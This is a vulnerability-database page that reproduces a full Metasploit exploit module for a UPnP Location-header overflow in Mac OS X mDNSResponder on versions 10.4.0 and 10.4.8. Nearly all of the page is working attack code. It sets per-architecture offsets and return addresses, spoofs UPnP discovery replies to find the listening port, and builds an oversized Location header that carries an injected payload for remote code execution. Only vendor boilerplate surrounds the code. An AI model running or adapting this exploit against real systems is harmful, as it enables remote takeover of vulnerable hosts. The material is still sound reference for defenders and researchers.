Lucene search
K

mDNSResponder 10.4.0 10.4.8 UPnP Location Overflow (OS X)

🗓️ 28 Oct 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Mac OS X mDNSResponder UPnP Location Overflow exploit for 10.4.0 and 10.4.8 version

Code

                                                require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
      'Platform' => 'osx',
      'DefaultOptions' => { 
        'SRVPORT' => 1900,
        'RPORT' => 0
      },
      'Targets' => [
        [ '10.4.8 x86', { # mDNSResponder-108.2
          'Arch'                   => ARCH_X86,

          # Offset to mDNSStorage structure
          'Offset'                 => 21000,
          'Magic'                  => 0x8fe510a0,
          'g_szRouterHostPortDesc' => 0x53dc0,
          }
        ],
        [ '10.4.0 PPC', { # mDNSResponder-107
          'Arch'    => ARCH_PPC,
          'Offset'  => 21000,
          'Magic'   => 0x8fe51f4c,
          'Ret'     => 0x8fe41af8,
          }
        ],
      ],
      'DefaultTarget' => 1,

      'Payload' => {
        'BadChars' => "\x00\x3a\x2f",
        'StackAdjustment' => 0,
        'Space' => 468
      }
    ))

    register_options([
      Opt::LHOST(),
      OptPort.new('SRVPORT', 
        [true, "The UPNP server port to listen on", 1900])
    ], self.class)
      
    @mutex = Mutex.new()
    @found_upnp_port = false
    @key_to_port = Hash.new()
    @upnp_port = 0
    @client_socket = nil
  end
  
  def check
    #
    # TODO: Listen on two service ports, one a single character
    # shorter than the other (i.e 1900 and 19000).  If the copy was
    # truncated by strlcpy, it will connect to the service listening
    # on the shorter port number.
    #
    upnp_port = scan_for_upnp_port()
    if (upnp_port > 0)
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unsupported
    end
  end
  
  def upnp_server(server)
    client = server.accept()
    request = client.readline()
    if (request =~ /GET \/([\da-f]+).xml/)
      @mutex.synchronize { 
        @found_upnp_port = true
        @upnp_port = @key_to_port[$1]
        
        # Important: Keep the client connection open
        @client_socket = client
      }
    end
  end
  
  def scan_for_upnp_port
    @upnp_port = 0
    @found_upnp_port = false
    
    upnp_port = 0
    
    # XXX: Do this in a more Metasploit-y way
    server = TCPServer.open(1900)
    server_thread = Thread.new { self.upnp_server(server) }
    
    begin
      socket = Rex::Socket.create_udp
      
      upnp_location = 
        "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']
      
      puts "[*] Listening for UPNP requests on: #{upnp_location}"
      puts "[*] Sending UPNP Discovery replies..."
      
      i = 49152;
      while i < 65536 && @mutex.synchronize { @found_upnp_port == false }
        key = sprintf("%.2x%.2x%.2x%.2x%.2x",
                      rand(255), rand(255), rand(255), rand(255), rand(255))
        
        @mutex.synchronize { 
          @key_to_port[key] = i
        }
        
        upnp_reply =
          "HTTP/1.1 200 Ok\r\n" +
          "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
          "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
          "Location: #{upnp_location}/#{key}.xml\r\n\r\n"
        
        socket.sendto(upnp_reply, datastore['RHOST'], i)
        
        i += 1
      end
      
      @mutex.synchronize { 
        if (@found_upnp_port)
          upnp_port = @upnp_port
        end
      }
    ensure
      server.close
      server_thread.join
    end
    
    return upnp_port
  end
  
  def exploit
    #
    # It is very important that we scan for the upnp port.  We must
    # receive the TCP connection and hold it open, otherwise the
    # code path that uses the overwritten function pointer most
    # likely won't be used.  Holding this connection increases the
    # chance that the code path will be used dramatically.
    #
    upnp_port = scan_for_upnp_port()
    
    if upnp_port == 0
      raise "Could not find listening UPNP UDP socket"
    end
    
    datastore['RPORT'] = upnp_port
    
    socket = connect_udp()
    
    if (target['Arch'] == ARCH_X86)
      space = "A" * target['Offset']
      space[0, payload.encoded.length] = payload.encoded
      
      pattern = Rex::Text.pattern_create(47)
      pattern[20, 4] = [target['Magic']].pack('V')
      pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]
      
      boom = space + pattern
      usn = ""
      
    elsif (target['Arch'] == ARCH_PPC)
      space = "A" * target['Offset']
      
      pattern = Rex::Text.pattern_create(48)
      pattern[20, 4] = [target['Magic']].pack('N')
      
      #
      # r26, r27, r30, r31 point to g_szUSN+556
      # Ret should be a branch to one of these registers
      # And we make sure to put our payload in the USN header
      #
      pattern[44, 4] = [target['Ret']].pack('N')
      
      boom = space + pattern
      
      #
      # Start payload at offset 556 within USN
      #
      usn = "A" * 556 + payload.encoded
    end
    
    upnp_reply =
      "HTTP/1.1 200 Ok\r\n" +
      "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
      "USN: #{usn}\r\n" +
      "Location: http://#{boom}\r\n\r\n"
    
    puts "[*] Sending evil UPNP response"
    socket.put(upnp_reply)
    
    puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
    sleep(10)
    
    handler()
    disconnect_udp()
  end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Oct 2009 00:00Current
7.1High risk
Vulners AI Score7.1
26